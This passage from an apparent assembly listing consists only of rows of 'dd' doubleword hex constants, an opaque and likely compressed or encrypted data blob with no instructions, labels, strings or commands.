		dd 0B8034Fh, 0D38B136Fh, 59DD41F7h, 0F86FD035h,	0EA56F274h
		dd 0B241F5DDh, 0C4A9E02Ch, 2C33EEC8h, 5FF6082Bh, 0B530AC0Ah
		dd 24D6809h, 7D6DF3D5h,	3BCACDA7h, 0AC67C8FDh, 529B2808h
		dd 0E3E916EBh, 0D24E903Dh, 0FAF1C97Dh, 0CC1DE9F0h, 89963F35h
		dd 0A76FBB1Dh, 0B775E64Bh, 31682BE0h, 0DEB13538h, 27BD3EA5h
		dd 169984C4h, 182E3A40h, 4F5B5FBEh, 0E93FB405h,	5BD5B52Dh
		dd 5970B1Ch, 0E469B37Eh, 3F1325E6h, 0F4557F92h,	85719509h
		dd 18507550h, 0C330301h, 783C6E45h, 9FF1A609h, 0CD00820h
		dd 60FF4A14h, 0D3397D49h, 30B8217Fh, 0C7AD5D4Ah, 0DAC27A89h
		dd 6DF3DE96h, 0F713105Ah, 98665125h, 0EF317897h, 0E1D82FAFh
		dd 692CD19Dh, 0A593E77Fh, 5866C660h, 2D170B1Fh,	1BBE3C82h
		dd 3F615040h, 22CEB568h, 0F66157C3h, 0BA8C6AC3h, 5E0E26C5h
		dd 0E5BF3ACDh, 0BA39D09Dh, 0E1033D85h, 5190AA14h, 0EFAFA36Eh
		dd 45F1936Bh, 0B4B81A73h, 0B9020094h, 64F0395Ah, 16B3FA2Ah
		dd 840DA962h, 0A1BEC537h, 1EA73BDEh, 181D6950h,	0BB30736Ah
		dd 222F6B05h, 8D8A74FAh, 403A7EE7h, 267B33B8h, 0B036124Ch
		dd 2C06EEC1h, 0C8DD2368h, 5DCD09C1h, 329EEE74h,	0D2BB6116h
		dd 5E092CF8h, 1D5346FAh, 8880285Fh, 0B7C05BB2h,	959A3D85h
		dd 0DAE5FBE8h, 0BA6143E8h, 5AD327FAh, 0AFF687D0h, 0E5955262h
		dd 0E099AB08h, 25300FBAh, 0AF404F51h, 20B9846Dh, 9242D8ACh
		dd 4287F678h, 265A6C59h, 16528B02h, 60F9015Ah, 0E11F4E33h
		dd 0B938AE2Bh, 88AA5A73h, 84315C85h, 5DE1E4C8h,	0FBE02902h
		dd 0B380A95Eh, 0DA083078h, 0F606EAF0h, 20166AEDh, 795D08h
		dd 0B82AA70Dh, 0CD00050Eh, 357CF92Ch, 9B1CBA8h,	8533E91Bh
		dd 77E97945h, 0E98B98DBh, 0A47AF82Fh, 16085986h, 28491774h
		dd 0C79904D6h, 0DD34BAB4h, 0E5017DD1h, 0C90FAC3Eh, 31CEA0EAh
		dd 0A4415A0Ah, 74DF20AFh, 80495825h, 95A04B17h,	5BC84889h
		dd 83BE5B2Ch, 0C6FEFCEEh, 6300A30h, 97F0283Ch, 88BEB0F5h
		dd 820E9E99h, 458A7230h, 6FD8AE57h, 2E8824FCh, 48C09B8h
		dd 35124218h, 0AAE25ADh, 84F508Dh, 6C2686DBh, 0A533D42Fh
		dd 0A3EFC222h, 0AEEC7A7Ch, 129799CBh, 84CAF756h, 0B0076B94h
		dd 0F6E1E009h, 0EA980CD8h, 5D807032h, 0ECC8D7EDh, 7FACD01h
		dd 0CCAA9C4Ah, 1E5E6507h, 99451AE4h, 0D7298A88h, 804FC58Fh
		dd 6130128Ah, 4CC12F35h
		dd 1B9002FAh, 0B40369Ch, 6301E4A3h, 0E9F929C9h,	0DD6A90CBh
		dd 3BCB6134h, 0B3537400h, 32B652B0h, 0F3085110h, 32A48175h
		dd 9F3CEE28h, 0C03F0C74h, 110C07E6h, 870B8FB7h,	0D6CB46E1h
		dd 647B0972h, 46315957h, 0A500B255h, 496CC81Ah,	0BC5C1FE9h
		dd 0B52488B8h, 81E28005h, 3018F7C0h, 0BA5B4AFAh, 50660CC0h
		dd 33EAC6B4h, 219F3891h, 0E5137815h, 9F89097Eh,	6B890DFCh
		dd 6200D460h, 10205D6h,	0B08F80CFh, 9D33ED22h, 92095970h
		dd 5777C203h, 30084F28h, 2412CE1Ch, 0B6184667h,	7F0652A2h
		dd 0ADEFB538h, 13EFE697h, 396419DEh, 27F6D8A6h,	81E0BF5Bh
		dd 0F8DA62F0h, 7CD4E188h, 0B1ABBA93h, 0C4AD6B6Fh, 6373B8C3h
		dd 0FBE92698h, 0C4A3414Ah, 0A3342079h, 3A1F48A1h, 700B812h
		dd 361C63EBh, 0F40CC117h, 7E40ED6Ch, 531B587h, 0EA9F3D45h
		dd 0C38A8B0Ch, 0C457FDC2h, 1135050Ch, 0EE5E2A7Ah, 0B0BF5124h
		dd 0A454E94Fh, 883951F9h, 25EB26E5h, 2900E62Eh,	93C281F2h
		dd 2B1D3E2Ah, 0FC42B9A7h, 0DD703AFDh, 55EAD4CAh, 90E4CADDh
		dd 0BC83E555h, 85064FB6h, 0D100EC8Fh, 0FC23BEAh, 0BA077384h
		dd 6D662F98h, 0B089C679h, 27ABC540h, 98C2D2DCh,	37D0952h
		dd 0F96E1B7Ch, 0B82A2912h, 5E74C2FFh, 9FC1DF13h, 0BE56004Eh
		dd 51DB74B9h, 2BEC8D7Dh, 0B6235024h, 0B270B7CDh, 81F32926h
		dd 0E3E93413h, 0BCD20FD3h, 0BCD2708Fh, 0A863105Bh, 0BBE3850h
		dd 5A0F4B76h, 2AF6F8B9h, 21BD5600h, 262C9439h, 0CF11D529h
		dd 0EA5DE884h, 0A85265E4h, 16AFB9C9h, 0BC30C377h, 0A75D3E24h
		dd 34DCFE54h, 44ACEA20h, 0E099EBB4h, 2277183Bh,	12147F05h
		dd 4FD17B6Fh, 1EBE2BC0h, 0F820F56h, 0D385F031h,	0FEF94E95h
		dd 0AE2996E4h, 6B8CA7CCh, 0C8C01FADh, 2B285F69h, 0ED09C271h
		dd 0AB7A1C0Fh, 2099E4FAh, 68EC1BACh, 4A134538h,	2AFD29AFh
		dd 32125BE2h, 0D62AACECh, 0F4A5D4B8h, 0F1975DC8h, 0BB53708Dh
		dd 7C01F50Bh, 0BFCF7A11h, 4B3B92D9h, 958B9DCh, 47736855h
		dd 5DE54059h, 7BACAC84h, 59BD2C75h, 97F28156h, 7F47EC41h
		dd 0B8403C5Eh, 296F7D5Ch, 2E51B5D1h, 79E12C97h,	7905A379h
		dd 1C8D76h, 0F334AFA6h,	0E95C017Eh, 3FCB3A02h, 0EEE3E009h
		dd 76D0699Bh, 86C60020h, 5A57ED4Ch, 4749684Eh, 15BA80A6h
		dd 9FDDA36Ch, 2914D267h, 8A0813FAh, 0F148E3E2h,	90DFED27h
		dd 0CB5153AEh, 72181A14h, 0F0728850h, 39E9C0B5h, 0EC3BBAB6h
		dd 0D3AD4BF5h, 0E88288C3h, 9655CAC9h, 74B9F11Eh, 67FC9F7Ah
		dd 68C710F2h, 0F6424A7Eh, 649C2710h, 4AE8986Bh,	83E8235Fh
		dd 0F1B7067Fh, 6E01C06Eh, 0E91038C7h, 0BD1A78F4h, 0D2FF2110h
		dd 775C97EAh, 20015969h, 0CF30228Fh, 3E0579Ah, 0BC555380h
		dd 3EE169C7h, 682C81F4h, 86E510Fh, 0FAE94B5Ch, 0B626CFC6h
		dd 83DEF6A5h, 0A4006DCh, 0F78028BCh, 3B82BFD5h,	7655F2C7h
		dd 16D7691Fh, 0E813D2DDh, 0E5FEB43Fh, 5AAE2A6Eh, 0A2E30C45h
		dd 16F75C82h, 0A73396CAh, 5A5881F6h, 0CB6A31E9h, 2319E2EBh
		dd 221E50D7h, 0F2171741h, 487FAB83h, 0A85B672Ch, 2BE9B043h
		dd 475EB778h, 0DC108843h, 4C7C28C3h, 0EB924669h, 1101614Ch
		dd 0B88E27E9h, 0C84ACF48h, 85686BC0h, 900D966Ah, 0D0D49F84h
		dd 49C5E9F0h, 30090F58h, 0A207A139h, 1691C3EEh,	0EF7F0987h
		dd 0BE31A4BFh, 5A5168A0h, 2AF2E1E1h, 5F330609h,	1C9BD514h
		dd 74B52D96h, 1F89CCD0h, 3E09993Ah, 0C01ADEA7h,	0D30CFD76h
		dd 1EE28D44h, 0F00E1308h, 4E1FA898h, 0CBA87D4Fh, 592ABF06h
		dd 830CBE6Bh, 184C6424h, 71D812EEh, 91F2FA3Eh, 0C862A45Eh
		dd 85F32F4Ah, 88949B13h, 0BA796661h, 53767174h,	124BBB1Eh
		dd 1377AB1h, 9FC20A87h,	1B01EB21h, 8B5DAAE9h, 0E55AF4E3h
		dd 0E68809A1h, 70E92FA3h, 3B05E94Eh, 0F4BC634Ah, 8D09FB96h
		dd 0B5056E58h, 5FC2E71Eh, 0F2378DE9h, 0E83041B6h, 0FBB56444h
		dd 4B763D38h, 6F36A7BDh, 686EC907h, 0E48CEE13h,	0E43AF388h
		dd 7040C01Dh, 3C1014BFh, 0C7028196h, 0E43827B4h, 3B136775h
		dd 0CD5EED01h, 7001F851h, 0E15F69CAh, 640729EFh, 3F5BA191h
		dd 0BFDD7DCCh, 64F527Eh, 0E5971DFh, 0FB3C67C5h,	60060C78h
		dd 0E96F7F09h, 5A21F7D2h, 28535BDEh, 0A79C0F2Fh, 84D7E5AAh
		dd 29A1D9F8h, 3E163591h, 42C938E1h, 62DEAAA7h, 448124BEh
		dd 18FA2A04h, 6271669Ch, 875F0AA1h, 0D2CF165h, 0E621440Bh
		dd 0B8D620EFh, 168FBA0Ah, 0D305B06Ah, 9080565Ah, 4BE02364h
		dd 724AAC25h, 0BC3EC414h, 9AC824CDh, 0B1516683h, 0AE0FC932h
		dd 0FE291289h, 0CCA021C8h, 0FCBB14C0h, 4A77D842h, 0E690EF43h
		dd 0EC504F9Ah, 39E02FE9h, 412DD8F2h, 6C391846h,	49924C6Fh
		dd 0BB77510h, 303F1168h, 74236BFh, 0EA831BDDh, 514A60FFh
		dd 0F14DAB9h, 7977D73h,	7A75BF74h, 2CE8E454h, 8F3525Bh
		dd 622F7D15h, 510A7E9Ah, 0BA882A5Ah, 2129404Ah,	4926F977h
		dd 93A58193h, 0AA6244D5h, 5AD02F21h, 0B58BC5DEh, 46C4DFB4h
		dd 4B0DC949h, 0DA91DCA2h, 8340665Ah, 9F4F8298h,	57E181EDh
		dd 0BCAF0479h, 13151C6Ch, 0C9193C21h, 6A882B58h, 57E23712h
		dd 7BD72189h, 0A03012E8h, 80B55C26h, 2E2283C6h,	6544900Ah
		dd 0C9EE8759h, 62986192h, 0D601029Eh, 0F6FB55E9h, 7B486276h
		dd 7BFD6E6Ah, 18DF2724h, 825D392Eh, 0F13F7440h,	1FBE60Ah
		dd 0F31324D5h, 3FF8BBC4h, 3C39EF4Eh, 4BB7FD83h,	0FC93E730h
		dd 10E9080Bh, 5B25937h,	3406C368h, 9EF78396h, 665BA903h
		dd 3C06E7C1h, 0F7130709h, 0CF3B04DFh, 1D0E82BBh, 705F814Ah
		dd 487B00CEh, 55E163Fh,	40FE67BFh, 7F4A8A90h, 50FDFDD0h
		dd 0DE6863AFh, 0E9B27EFBh, 94FDC04Ah, 4A21BC76h, 652108E4h
		dd 5DC83C93h, 379684h, 0D96B6EBBh, 0CB048151h, 329D5299h
		dd 1284EDAEh, 0F5FA78B4h, 4F7E22CAh, 0E9B86CABh, 0C870C12Eh
		dd 2D26CC4h, 0AFCAF705h, 5792B651h, 9CF9E3FAh, 2656D81Fh
		dd 82CA2D06h, 0FC882544h, 447416A2h, 983F81EDh,	0B591525Ch
		dd 7D1CB753h, 73639180h, 48D1CC9Fh, 0F14B6455h,	0F3D87F9Bh
		dd 8E4000EEh, 0E9F1313Bh, 77C992D5h, 848C65C2h,	0AC276B68h
		dd 4A08C05Dh, 62BD7660h, 0DD310B0Ch, 0CE976C4Eh, 5CF140E9h
		dd 47096814h, 0B58FD255h, 65986809h, 6A5ED146h,	25CB91C5h
		dd 1A21610h, 7D20BBB8h,	5A60966Fh, 885EA82Ah, 4CFAE4C7h
		dd 825B625Bh, 18FD509Dh, 12C46822h, 0EE7F4C13h,	0F22FC1F5h
		dd 75F0F104h, 1A605A02h, 0B9163961h, 90BE2177h,	7D9C68F6h
		dd 20B2A49Dh, 0D2DE6BF9h, 0FED25362h, 0B23F9A29h, 1DE80777h
		dd 0C5945476h, 21D0CBC4h, 27D6BFh, 0F7814DDCh, 1E4447BEh
		dd 0B9056A90h, 150C837h, 0A847D0EEh, 0D8D757AFh, 901413EBh
		dd 495D43E9h, 10BF2F4Eh, 56040858h, 0FE50FFE9h,	0B46E4989h
		dd 6405473h, 249A2468h,	7DF0C21Bh, 0E951AC98h, 5B208A59h
		dd 68FA36AAh, 302439E4h, 0C18B37Ch, 312EBA36h, 0CB7A381Dh
		dd 1D0225Fh, 1C447D36h,	95E3C701h, 0F8C0081Bh, 5F2851A1h
		dd 0F540EE0Ch, 0F26B6F16h, 931C2AE9h, 40230F94h, 37456863h
		dd 47C5924Ch, 0A0D7786Ah, 26A9BB51h, 6271B5C0h,	0F4803827h
		dd 0BD6BB7E2h, 0D9FF34F2h, 0A5F3E011h, 4D4D99E9h, 26F829DEh
		dd 6791923Eh, 8DC5DAB8h, 0E7D8EADCh, 7569390Dh,	40C9BDDBh
		dd 47F05D08h, 0D6547F4Ch, 0DE1E317h, 0D2A4566Dh, 47F75516h
		dd 0B0C8ADDBh, 0D8AAFC41h
		dd 0DF69F43h, 0EC603151h, 51BC25DBh, 0CF84EA65h, 9E6457B9h
		dd 516CB0B2h, 0E4201AB0h, 9B63A0A5h, 37C20109h,	19F80540h
		dd 0A3D283F2h, 0D038206Eh, 4AACD0A9h, 4CCCB857h, 0F80804B8h
		dd 0E5AF84BCh, 0E6B305A6h, 7ED5D383h, 8E044384h, 29BB52E4h
		dd 21BC08B0h, 19E4304Eh, 45FC09C3h, 5578CDF7h, 12A60509h
		dd 1B480262h, 22E127A3h, 0CD5E3251h, 42246902h,	7FE3DD7Fh
		dd 0A942FE9Dh, 9A0A19E9h, 0F9F97D94h, 1CD64427h, 6DFF50C5h
		dd 0A246F6B2h, 0A6AF734h, 1F74CBFDh, 4D251005h,	7B3A75E3h
		dd 22BF09D0h, 0F0B44AB9h, 0CAA34A8Eh, 98ACA4F8h, 0E9121DB8h
		dd 0F4FA79A9h, 0C2B5B903h, 0C24A761Fh, 0E3FC134Bh, 41ECE9D0h
		dd 0D6533008h, 2643BBBCh, 0BA4C0377h, 3A1B4DCBh, 3BB246D1h
		dd 66011990h, 79B30E53h, 5BC9DC30h, 46A43CFCh, 10EB8005h
		dd 0AFC8B84h, 8227A34Fh, 0E4913FE9h, 0F59D0FC4h, 2F668743h
		dd 0C3631731h, 0EC4BD49Ah, 0C8AE5EC4h, 5BC7030Ch, 11D5C821h
		dd 872D47B8h, 0FA473BDDh, 5594AB78h, 9258D67h, 770189CFh
		dd 0CA0D14CEh, 0F9F6B4E9h, 6A724DDh, 1165F602h,	3882075Eh
		dd 0E3B22A45h, 1794E91Bh, 0FC6D417Ah, 6A35AE43h, 0C85C89E8h
		dd 22DE3898h, 0BAF645FAh, 3CB5FEB2h, 58D5C9B3h,	245E73DDh
		dd 0ADB32627h, 0A30914F8h, 756B73D2h, 0AABB5AC0h, 209F082h
		dd 0F372AE2Dh, 40C25547h, 0D9221644h, 2329A07Fh, 0E2A19C10h
		dd 4D7D829h, 0B5F3AD63h, 0FC4D4E05h, 8874BE6Eh,	0DB00C19h
		dd 0C03F3BC0h, 252F081Dh, 294A74F6h, 0C0464D9h,	0EC491ACCh
		dd 0A4BE5B17h, 2113D14Ch, 3EEC634Fh, 20B9371Eh,	0EAE927h
		dd 8ECE2D26h, 0C55EC12Eh, 68EF8958h, 75C1B2FAh,	0AFF89C6Ah
		dd 0D9B15730h, 3EDD7AF1h, 0CFA626D0h, 0DB801418h, 2B203081h
		dd 37FD3B22h, 0FA7E4A02h, 0B8D709C8h, 955AF5A3h, 6082FFFh
		dd 0F17D61D3h, 0A7D8E41h, 8915BC6Ah, 0D04E60EDh, 96F1EFEEh
		dd 91E73F94h, 5D3FC71Ch, 0CF47DD41h, 646420CFh,	0A2A4AA5Ah
		dd 206C107h, 76667DE9h,	600A00F9h, 0AEB876E7h, 38562C4Dh
		dd 0C9C6169Eh, 71D301E7h, 0A7017B11h, 5455DEEAh, 5892E9C4h
		dd 0BED2677Eh, 0D0D7C1E3h, 0C7685262h, 99F3625Fh, 4FEB1C50h
		dd 4B5DA7F5h, 0F0ECFB1Ch, 908DF80Bh, 96855BFh, 35A63AFAh
		dd 556B24D4h, 8F229A60h, 55A80A02h, 754B5D5Bh, 2BC9C1E8h
		dd 1B228FAh, 0C41E6102h, 70E1E939h, 72BE0408h, 0C226FA7Bh
		dd 0C5618D86h, 82B02A58h, 0EC147B2Dh, 0EA014E43h, 3894928h
		dd 0E95B385Ah, 1341411Ah, 96E36014h, 5CAF649Ch,	3B2A0304h
		dd 0FEF237A3h, 215910E8h, 39F2D84Fh, 3ABBD1D2h,	536800A5h
		dd 62849C40h, 14227D7Bh, 4C022FDh, 0C44471F7h, 746A81F7h
		dd 2FB606C9h, 2C7949E2h, 7567F103h, 0F431E22Ah,	66C581ADh
		dd 2F0B6D70h, 5A20BECh,	880BC5D6h, 60D8E7h, 0FE90B652h
		dd 4E6C0C6h, 8AF68007h,	0C5EEF430h, 0D7BB44C3h,	50585896h
		dd 0F64D0CB0h, 0C4A66D8h, 28F82C07h, 4B4F04F0h,	2887575Ah
		dd 67A23FD0h, 8DD52D34h, 60980681h, 0BEB23AB3h,	0E939D3E0h
		dd 0B6EEE295h, 0A7435F29h, 2C59E880h, 0F8580570h, 0A044101Fh
		dd 66254063h, 0F2EAAB2Ch, 5D3E5B19h, 4A2CB73Fh,	4B0108C3h
		dd 6AF644B9h, 9EB7077Dh, 38F8F373h, 4E84580Eh, 985B7768h
		dd 65123CC1h, 4C007F0Ah, 0F0822EF1h, 0E9DE0931h, 20CC1230h
		dd 7DE762B7h, 376AB379h, 53B11C96h, 54B0F728h, 320B106Dh
		dd 84DDF75Dh, 0BE3428F2h, 8F826B44h, 0CBDE27EFh, 5A083355h
		dd 0F8A9532Dh, 5238C419h, 0FBF38100h, 0C47BE2BAh, 1686A035h
		dd 0CCEFF1EBh, 361C3B7Dh, 8C7C5F55h, 0B30BBCE9h, 2B7909C9h
		dd 930018F8h, 339B4FB8h, 0A1C6E91Ch, 5316D72Dh,	5EB6EFFEh
		dd 5567D725h, 0E9E6FD25h, 0A76DFB30h, 5C323AEDh, 9524B4E3h
		dd 29F5AFA2h, 12B99673h, 926833E9h, 4ADD05F4h, 4457714h
		dd 8AB4D5A5h, 0A1BB5302h, 5727C251h, 0E6617562h, 2C9C4001h
		dd 0FFB0EB4Ch, 0C7D1DB28h, 0DF076631h, 0B41702C4h, 5E3A92CAh
		dd 5CF280F7h, 9D56D852h, 0D460EA42h, 0A0B7736Dh, 707A8D09h
		dd 5A095855h, 0A5B73526h, 0E9D8B87Eh, 0BBC75E73h, 0D1299561h
		dd 1E7884F5h, 0FB2C4B56h, 1DBC1093h, 25828A05h,	84342D6Ah
		dd 73A83581h, 50AA29CCh, 1B95B800h, 900D72EDh, 320A2575h
		dd 52F44BE4h, 762B1813h, 0DD9D80BBh, 0B125C1E6h, 641BA089h
		dd 0EC52235Eh, 48FA09CEh, 907D02C2h, 2D38D3CAh,	0B3C66BF1h
		dd 5A1CE0BDh, 0BD0801E9h, 620D933Dh, 0F6FD3B29h, 0B909FE25h
		dd 1854B9F4h, 0C85559C8h, 612F3B46h, 4F655006h,	54158851h
		dd 440E0D97h, 42669D3Eh, 80001AC0h, 4D208AC2h, 0E3019DD3h
		dd 71E9F330h, 55229A4h,	1091AB4h, 3CDBE801h, 97B5745h
		dd 4EE22F83h, 67DDA86Ah, 0DD77B80Bh, 4A7E4C4Ch,	0AF16BA0Ah
		dd 23EC796Eh, 0E047550Ah, 2FC201A6h, 8213D941h,	0DF9C1E0Ch
		dd 2061D61Ch, 0E47414EEh, 5515E344h, 0E82508BDh, 38249C7Bh
		dd 117F2819h, 0C23DBC7Dh, 72560FFEh, 0A81CEA01h, 15A2B508h
		dd 6E4926BDh, 99C0FEC1h, 8BEEACE2h, 0E7B2084Ah,	0BF5400DEh
		dd 0B3C9E97Dh, 0EDD1DAC3h, 0CE3CC145h, 9BEC442Ah, 96A9AA79h
		dd 0A7A908B1h, 27DEFE22h, 0A03E227Bh, 2D5F02D8h, 407056DBh
		dd 5058185h, 0E08DE907h, 8B976643h, 4CB702ADh, 0A0C75D53h
		dd 0AF0BE420h, 0FC5CAC1Ch, 6EC70264h, 4D42CB5h,	9521782h
		dd 0A05561D0h, 3D6D8AD4h, 30FECD01h, 0EECFD71Ah, 0A83F18DEh
		dd 0D5F126C9h, 8D7B5DC9h, 8897DCCBh, 5E1DE540h,	6A8A698Bh
		dd 8F47B19h, 280B53C8h,	0BD8C05F3h, 48835082h, 8249542Ah
		dd 81B98A5Fh, 1432A80Bh, 7DF0B544h, 0A562FB9Eh,	0ABC62037h
		dd 35FDC0Ah, 84029FDh, 6850095Dh, 30DF5A48h, 5B34E95Ch
		dd 4B1AF2E4h, 39301CF1h, 6C26B59Eh, 85A0607h, 1431EFBCh
		dd 0A502C76Dh, 44915593h, 54AA5250h, 0A2966C77h, 2F0BD70Dh
		dd 9C5403FEh, 3B0802D4h, 0E55D6CB9h, 4E7A8857h,	0EA2F682Fh
		dd 325D956Dh, 6A9A39D7h, 53285128h, 493431FDh, 32489A19h
		dd 383707F1h, 8DEF2399h, 37613B66h, 0B55EDDDCh,	46E23EFCh
		dd 62697C43h, 0A97612C6h, 77597F61h, 0A37A5AC9h, 966A610Fh
		dd 67280655h, 2707032Ch, 6D424562h, 627871D7h, 3AC1B0F7h
		dd 0DF816B6Ch, 0D2043862h, 0D360DC02h, 7CE6BE3Bh, 31466113h
		dd 4AAF016h, 194BF054h,	1170066Eh, 40707507h, 3F168F65h
		dd 0AF010CBCh, 32E931CAh, 5C691A00h, 0BD3BCF98h, 21AF9CC6h
		dd 0FFE9EB44h, 0B64E17EBh, 4081481Bh, 637A9984h, 0F7105F66h
		dd 0F9890B0Fh, 204143E9h, 8C01D425h, 0C2273F7Ah, 5A627C19h
		dd 0AC64D204h, 5923C5B7h, 38B044FBh, 94E8BEE0h,	4A4A6F85h
		dd 0A8DDF1CAh, 12A45545h, 6B2054DDh, 3A5F8155h,	0C922CBAh
		dd 6398E392h, 68AE0507h, 85C52D4Ch, 0EC468CA0h,	5E7895F9h
		dd 4CA8FB1h, 5E760D89h,	0E107651Fh, 90E96C94h, 66027FB0h
		dd 0FE9374Ah, 4FBAF76Dh, 9B53A84h, 133F7428h, 4BB0F8B1h
		dd 0E90932CAh, 0C4EEB08Bh, 4B75AF6h, 80AB297Ah,	92569DFCh
		dd 0F15E2427h, 17781655h, 1AFB85Eh, 895FE488h, 0FA69FB31h
		dd 3487DB10h, 11FE9255h, 0BAD64131h, 8EA9C617h,	9618D8B1h
		dd 0ADCDE221h, 61C18D40h, 662858D7h, 726BE91Ah,	0DAFC5C55h
		dd 66118BFDh, 8ED0102h,	1566471h, 82CA0FDh, 9088E95Ch
		dd 48F0078Fh, 0EDB20D67h
		dd 8B5FF45Dh, 2E665449h, 0D178899Dh, 0E1FB641Ah, 0D5A82F0Fh
		dd 582F6EB6h, 8E1F513Ah, 0B856B3FAh, 0C2EE4BEDh, 6340E010h
		dd 0BF80A860h, 0CC0201C6h, 11E78118h, 2007D537h, 0E9124FF4h
		dd 81EC1C63h, 7D4933C3h, 6EE581E8h, 485F5816h, 1F4E95F4h
		dd 8140E84Dh, 47179DCDh, 64864073h, 0BB0EE5A7h,	6A5DE929h
		dd 6213B4CEh, 0D2C89A34h, 485E41B2h, 0CC3168EBh, 0BF08FD12h
		dd 7B1CF72Eh, 0A03CFC27h, 2260A3BBh, 18564834h,	171E4710h
		dd 0FFFC6FEh, 4A65C221h, 0CDD8D13Eh, 7BE23F0Bh,	2D2C829h
		dd 51A905E0h, 278C1440h, 0E97B8704h, 0BFFD9DA6h, 3C452304h
		dd 0F8F2DC7Ah, 0F728DA40h, 19E5B221h, 0BD12072Fh, 6588804Eh
		dd 6C627768h, 0F7719431h, 2AF31046h, 0E54050AEh, 81D7232Ch
		dd 0A4753CBAh, 0C70F2B7Dh, 34BBB268h, 0EA8CC1EAh, 0FFBF0228h
		dd 647FE7EAh, 9AE79840h, 3B681BF2h, 29D27F21h, 1251C71h
		dd 0E1455241h, 42005D0h, 2971C509h, 5317C4F0h, 0D2D01008h
		dd 17873417h, 0B508C41Fh, 0CD9FE4A4h, 0BC47DCB5h, 44791013h
		dd 0CC7FD38Eh, 52FC57A9h, 0F1E8F15Dh, 0EC23363Ch, 0BD85329h
		dd 0EC77FE8Dh, 24EE8282h, 9CAF8999h, 0DD00B907h, 0B8535F6Eh
		dd 5AE4D77Eh, 780DF4D9h, 762500B6h, 0D709C933h,	0E9A44AF8h
		dd 0BF985C9Fh, 18FFBCADh, 261B7D9Bh, 146D1E34h,	3A18DF03h
		dd 5FFA3F8Eh, 0F2818394h, 2DCE66F8h, 7E02129Eh,	0E1284B05h
		dd 5FC4829Eh, 68E2D100h, 0BD7E4820h, 2B107DD0h,	1C680CA6h
		dd 0BF1DF93Ch, 90E178Ah, 98592701h, 1306808Eh, 58EB9CEBh
		dd 68851C99h, 1A8C2111h, 0CDBF255h, 5D5B4964h, 9B1629FCh
		dd 0A312A4B6h, 0BF382E4h, 843BEAAAh, 0B37C60FFh, 0BB1CC0C1h
		dd 2B7A0EC2h, 1ABA5200h, 0E9635E70h, 0F470B2E8h, 5CA3F6C0h
		dd 62F8727h, 0D4772362h, 9593741Ah, 5FD56804h, 0F81B68BFh
		dd 77B1C5B2h, 29E1E713h, 1C56CB7Fh, 5D278A05h, 9790806Ch
		dd 630A6A2Eh, 5E1CEF96h, 0F33293C2h, 8034E317h,	97ECB99Bh
		dd 945F2E89h, 0B1497DBh, 10DC5E48h, 881D52B0h, 0DEAD79CCh
		dd 0E3C2D9E3h, 3974428Bh, 0C9C08619h, 0FBD6464h, 4981723Dh
		dd 98F6E56Bh, 3701F61Ch, 6C12683Bh, 0CAC5B429h,	4B1D8A60h
		dd 0FABB64EBh, 630B4765h, 0B28F028h, 6AB668ACh,	7E35B877h
		dd 0D9588184h, 5C0CAF4Eh, 2E8971DDh, 977E361h, 58A20768h
		dd 95D46EFFh, 7E51747Eh, 0E892667Ch, 4C282A3Fh,	4CD38839h
		dd 0A62D7D53h, 0E177F619h, 381674E9h, 0F79680B6h, 0E4C631D0h
		dd 5608C9F0h, 938E45DDh, 0D20117E9h, 0F37D70A4h, 536D310Eh
		dd 0EA27B54h, 0CFDCBBA5h, 0D2615CB9h, 0DF053BD4h, 0D8633568h
		dd 654964E5h, 9BA84FE6h, 6C018371h, 0F6013B3Ch,	0FEF4DE89h
		dd 0BB8DC006h, 0A21156Eh, 0B1684B3Dh, 0AACD7144h, 0CE8AC05h
		dd 0C400867h, 330A13E8h, 9F55017Fh, 823C4D15h, 0FB1D3E18h
		dd 27D9F606h, 946365F1h, 0EE5302A6h, 64D17025h,	0C6A661FDh
		dd 0F45F0842h, 6CEC0769h, 8D0C08ADh, 5AE99E61h,	5E77091Eh
		dd 0DF23B0F5h, 5818C1FCh, 8B51C768h, 4907C6C3h,	956C5A68h
		dd 4D9582A4h, 2827E00Eh, 135866C3h, 0AFE3EB80h,	0B41F76E6h
		dd 27F44292h, 0E077C4FEh, 0EADAE4EFh, 42E6F9D4h, 621C7782h
		dd 39BDDB2Ch, 0F867056Fh, 0B62928BAh, 0C1B96F4Fh, 0A8141CC5h
		dd 7F2D89B0h, 16A2CA48h, 277967BFh, 7E43017Ch, 21681641h
		dd 97F1E2D1h, 96685380h, 9E8D9112h, 6624956h, 0A1069C46h
		dd 593EE533h, 52042434h, 654E00A9h, 2D58619Ah, 0D3904F73h
		dd 75D33507h, 18A547A0h, 1E9C413h, 98D6A05Ah, 5D5A6761h
		dd 0C03FF109h, 0E327311Ah, 0A820397Fh, 0E80118AAh, 17468A52h
		dd 5E757401h, 943DE94Eh, 0E2429836h, 0BF54C912h, 0BF02E5E6h
		dd 0DA2464Fh, 661E7040h, 29730109h, 0F7BC00DFh,	5C79524Bh
		dd 0B65EA802h, 9FCD2693h, 0F23F31A6h, 5013DCBDh, 0F34B685Dh
		dd 0F08488A9h, 0F2800245h, 0F048551Fh, 0DA0B8688h, 7A14F653h
		dd 5354E13h, 81665EEDh,	0AF281A30h, 13355EA0h, 8B008797h
		dd 0D2B5BAD8h, 0B25797ADh, 6DC47D98h, 0BF408A20h, 0E958C45Eh
		dd 14B7BAEFh, 0E02C383h, 0BE27FC4h, 0AC32615Bh,	8021076Fh
		dd 1E2CA2F5h, 76204778h, 48FB077h, 0D91C4FBBh, 0C1C5F059h
		dd 2D03E801h, 0FCEAF276h, 0C755B06Fh, 81A18458h, 0ED54CD18h
		dd 59C0C07Fh, 5D4CE809h, 0FC2D1EAAh, 0C3EC2ED8h, 0E3490E57h
		dd 0C2B6E972h, 40D75B24h, 8774FB4h, 0DA291B2Eh,	0B09D0820h
		dd 0B5D50159h, 507104D4h, 0B262BB2Fh, 26957EACh, 9CD5271Dh
		dd 0B9510062h, 450310ABh, 0AF62F181h, 5BCB010Dh, 35B10832h
		dd 6F79C582h, 93E07F48h, 0BE2D2571h, 80BCE59Eh,	1A551945h
		dd 0DD4B61E9h, 0C1C4ECB8h, 669CBF52h, 35544013h, 813B2E09h
		dd 88B4C571h, 0EE813FBFh, 0D2BDA977h, 0CCF4F0F9h, 45A796BCh
		dd 0E1298257h, 0E4BB5904h, 4EF22D7Ch, 0E384062Fh, 2DBEE513h
		dd 50B166BFh, 7C5E1110h, 367C97CAh, 128FE7B8h, 1C570207h
		dd 0F6855E23h, 87A20712h, 4C01BED9h, 34099FDDh,	7D212AA7h
		dd 2E1E5C0Dh, 0E807601h, 0A87A2282h, 0D5E68B02h, 4557619Ah
